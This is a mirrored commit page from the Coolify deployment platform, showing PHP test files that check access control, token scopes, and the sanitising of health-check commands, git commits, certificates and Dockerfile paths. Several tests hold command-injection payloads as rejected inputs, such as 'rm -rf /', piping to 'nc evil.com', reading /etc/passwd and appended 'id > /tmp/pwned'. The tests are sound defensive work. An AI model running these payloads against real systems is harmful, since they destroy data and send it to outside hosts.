mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-15 14:16:28 +00:00
Merge remote-tracking branch 'origin/next' into feat/refresh-repos
This commit is contained in:
commit
f2e4879742
518 files changed
+39180
-4806
No files matched your search
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\ActivityMonitor;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Exceptions\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
use Spatie\Activitylog\Models\Activity;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->otherTeam = Team::factory()->create();
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to another teams activity via team_id', function () {
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->otherTeam->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $otherActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to own teams activity via team_id', function () {
|
||||
$ownActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->team->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $ownActivity->id);
|
||||
|
||||
expect($component->get('activity'))->not->toBeNull();
|
||||
expect($component->get('activity')->id)->toBe($ownActivity->id);
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
|
||||
$legacyActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'legacy activity',
|
||||
'properties' => [],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $legacyActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
|
||||
$otherServer = Server::factory()->create([
|
||||
'team_id' => $this->otherTeam->id,
|
||||
]);
|
||||
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['server_uuid' => $otherServer->uuid],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $otherActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
|
||||
$ownServer = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$ownActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['server_uuid' => $ownServer->uuid],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $ownActivity->id);
|
||||
|
||||
expect($component->get('activity'))->not->toBeNull();
|
||||
expect($component->get('activity')->id)->toBe($ownActivity->id);
|
||||
});
|
||||
|
||||
test('hydrateActivity returns null for non-existent activity id', function () {
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', 99999)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('activityId property is locked and cannot be set from client', function () {
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->otherTeam->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
// Attempting to set a #[Locked] property from the client should throw
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->set('activityId', $otherActivity->id)
|
||||
->assertStatus(500);
|
||||
})->throws(CannotUpdateLockedPropertyException::class);
|
||||
@@ -73,3 +73,28 @@ describe('POST /api/v1/servers', function () {
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GET /api/v1/servers/{uuid}/validate', function () {
|
||||
test('read-only token cannot trigger server validation', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->getJson('/api/v1/servers/fake-uuid/validate');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () {
|
||||
test('read-only token cannot validate cloud provider token', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/cloud-tokens/fake-uuid/validate');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,120 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = StandaloneDocker::firstOrCreate(
|
||||
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
// Project boot event auto-creates a 'production' environment
|
||||
$this->environment = $this->project->environments()->first();
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
});
|
||||
|
||||
function healthCheckAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
|
||||
test('can update health_check_type to cmd with a command', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('cmd');
|
||||
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
test('can update health_check_type back to http', function () {
|
||||
$this->application->update([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'redis-cli ping',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('http');
|
||||
expect($this->application->health_check_command)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects invalid health_check_type', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'exec',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command with shell operators', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready; rm -rf /',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command over 1000 characters', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => str_repeat('a', 1001),
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,146 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
|
||||
describe('Application Rollback', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = new Application;
|
||||
$this->application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = false;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$this->application->setRelation('settings', $settings);
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () {
|
||||
$rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
commit: $rollbackCommit
|
||||
);
|
||||
|
||||
expect($result)->toContain($rollbackCommit);
|
||||
});
|
||||
|
||||
test('setGitImportSettings with shallow clone fetches specific commit', function () {
|
||||
$this->application->settings->is_git_shallow_clone_enabled = true;
|
||||
|
||||
$rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
commit: $rollbackCommit
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('git fetch --depth=1 origin')
|
||||
->toContain($rollbackCommit);
|
||||
});
|
||||
|
||||
test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () {
|
||||
$this->application->git_commit_sha = 'def789abc012def789abc012def789abc012def7';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
);
|
||||
|
||||
expect($result)->toContain('def789abc012def789abc012def789abc012def7');
|
||||
});
|
||||
|
||||
test('setGitImportSettings escapes shell metacharacters in commit parameter', function () {
|
||||
$maliciousCommit = 'abc123; rm -rf /';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
commit: $maliciousCommit
|
||||
);
|
||||
|
||||
// escapeshellarg wraps the value in single quotes, neutralizing metacharacters
|
||||
expect($result)
|
||||
->toContain("checkout 'abc123; rm -rf /'")
|
||||
->not->toContain('checkout abc123; rm -rf /');
|
||||
});
|
||||
|
||||
test('setGitImportSettings does not append checkout when commit is HEAD', function () {
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
);
|
||||
|
||||
expect($result)->not->toContain('advice.detachedHead=false checkout');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided git_ssh_command for fetch', function () {
|
||||
$this->application->settings->is_git_shallow_clone_enabled = true;
|
||||
$rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
|
||||
$sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22222 -o Port=22222 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
commit: $rollbackCommit,
|
||||
git_ssh_command: $sshCommand,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('-i /root/.ssh/id_rsa" git fetch --depth=1 origin')
|
||||
->toContain($rollbackCommit);
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided git_ssh_command for submodule update', function () {
|
||||
$this->application->settings->is_git_submodules_enabled = true;
|
||||
$sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
git_ssh_command: $sshCommand,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('-i /root/.ssh/id_rsa" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided git_ssh_command for lfs pull', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
$sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
git_ssh_command: $sshCommand,
|
||||
);
|
||||
|
||||
expect($result)->toContain('-i /root/.ssh/id_rsa" git lfs pull');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses default ssh command when git_ssh_command not provided', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git lfs pull')
|
||||
->not->toContain('-i /root/.ssh/id_rsa');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Source;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('Application Source with localhost key (id=0)', function () {
|
||||
test('renders deploy key section when private_key_id is 0', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'id' => 0,
|
||||
'name' => 'localhost',
|
||||
'private_key' => 'test-key-content',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'private_key_id' => 0,
|
||||
]);
|
||||
|
||||
Livewire::test(Source::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->assertSet('privateKeyId', 0)
|
||||
->assertSee('Deploy Key');
|
||||
});
|
||||
|
||||
test('shows no source connected section when private_key_id is null', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'private_key_id' => null,
|
||||
]);
|
||||
|
||||
Livewire::test(Source::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->assertSet('privateKeyId', null)
|
||||
->assertDontSee('Deploy Key')
|
||||
->assertSee('No source connected');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,93 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Server\CaCertificate\Show;
|
||||
use App\Models\Server;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
function generateSelfSignedCert(): string
|
||||
{
|
||||
$key = openssl_pkey_new(['private_key_bits' => 2048]);
|
||||
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
|
||||
$cert = openssl_csr_sign($csr, null, $key, 365);
|
||||
openssl_x509_export($cert, $certPem);
|
||||
|
||||
return $certPem;
|
||||
}
|
||||
|
||||
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
|
||||
$validCert = generateSelfSignedCert();
|
||||
|
||||
$caCert = SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => $validCert,
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
// Inject shell command after valid certificate
|
||||
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', $maliciousContent)
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('success');
|
||||
|
||||
// After save, the certificate should be the clean re-exported PEM, not the malicious input
|
||||
$caCert->refresh();
|
||||
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
|
||||
expect($caCert->ssl_certificate)->not->toContain('; id');
|
||||
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
|
||||
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects completely invalid certificate', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects empty certificate content', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', '')
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 50,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe('1.2.3.4');
|
||||
});
|
||||
|
||||
it('does not clean up servers with unreachable_count less than 3', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 2,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
});
|
||||
|
||||
it('does not clean up servers updated within 7 days', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 10,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(3),
|
||||
]);
|
||||
|
||||
$originalIp = $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
});
|
||||
|
||||
it('does not clean up servers without notification sent', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 10,
|
||||
'unreachable_notification_sent' => false,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||
|
||||
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => null],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'pg_isready -U postgres',
|
||||
'redis-cli ping',
|
||||
'curl -f http://localhost:8080/health',
|
||||
'wget -q -O- http://localhost/health',
|
||||
'mysqladmin ping -h 127.0.0.1',
|
||||
]);
|
||||
|
||||
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'pg_isready; rm -rf /',
|
||||
'redis-cli ping | nc evil.com 1234',
|
||||
'curl http://localhost && curl http://evil.com',
|
||||
'echo $(whoami)',
|
||||
'cat /etc/passwd > /tmp/out',
|
||||
'curl `whoami`.evil.com',
|
||||
'cmd & background',
|
||||
'echo "hello"',
|
||||
"echo 'hello'",
|
||||
'test < /etc/passwd',
|
||||
'bash -c {echo,pwned}',
|
||||
'curl http://evil.com#comment',
|
||||
'echo $HOME',
|
||||
"cmd\twith\ttabs",
|
||||
"cmd\nwith\nnewlines",
|
||||
]);
|
||||
|
||||
it('rejects invalid healthCheckType', function () {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => 'exec'],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts valid healthCheckType values', function ($type) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => $type],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['http', 'cmd']);
|
||||
@@ -1,6 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
describe('deployment job path field validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_location', function () {
|
||||
@@ -91,6 +92,28 @@ describe('deployment job path field validation', function () {
|
||||
->toBe('/docker/Dockerfile.prod');
|
||||
});
|
||||
|
||||
test('allows path with @ symbol for scoped packages', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/packages/@intlayer/mcp/Dockerfile', 'dockerfile_location'))
|
||||
->toBe('/packages/@intlayer/mcp/Dockerfile');
|
||||
});
|
||||
|
||||
test('allows path with tilde and plus characters', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/build~v1/c++/Dockerfile', 'dockerfile_location'))
|
||||
->toBe('/build~v1/c++/Dockerfile');
|
||||
});
|
||||
|
||||
test('allows valid compose file path', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
@@ -147,6 +170,17 @@ describe('API validation rules for path fields', function () {
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('dockerfile_location validation allows paths with @ for scoped packages', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => '/packages/@intlayer/mcp/Dockerfile'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
@@ -164,7 +198,7 @@ describe('sharedDataApplications rules survive array_merge in controller', funct
|
||||
|
||||
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
|
||||
expect($merged['docker_compose_location'])->toBeArray();
|
||||
expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
|
||||
expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -203,6 +237,370 @@ describe('path fields require leading slash', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'production; echo pwned'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'builder$(whoami)'],
|
||||
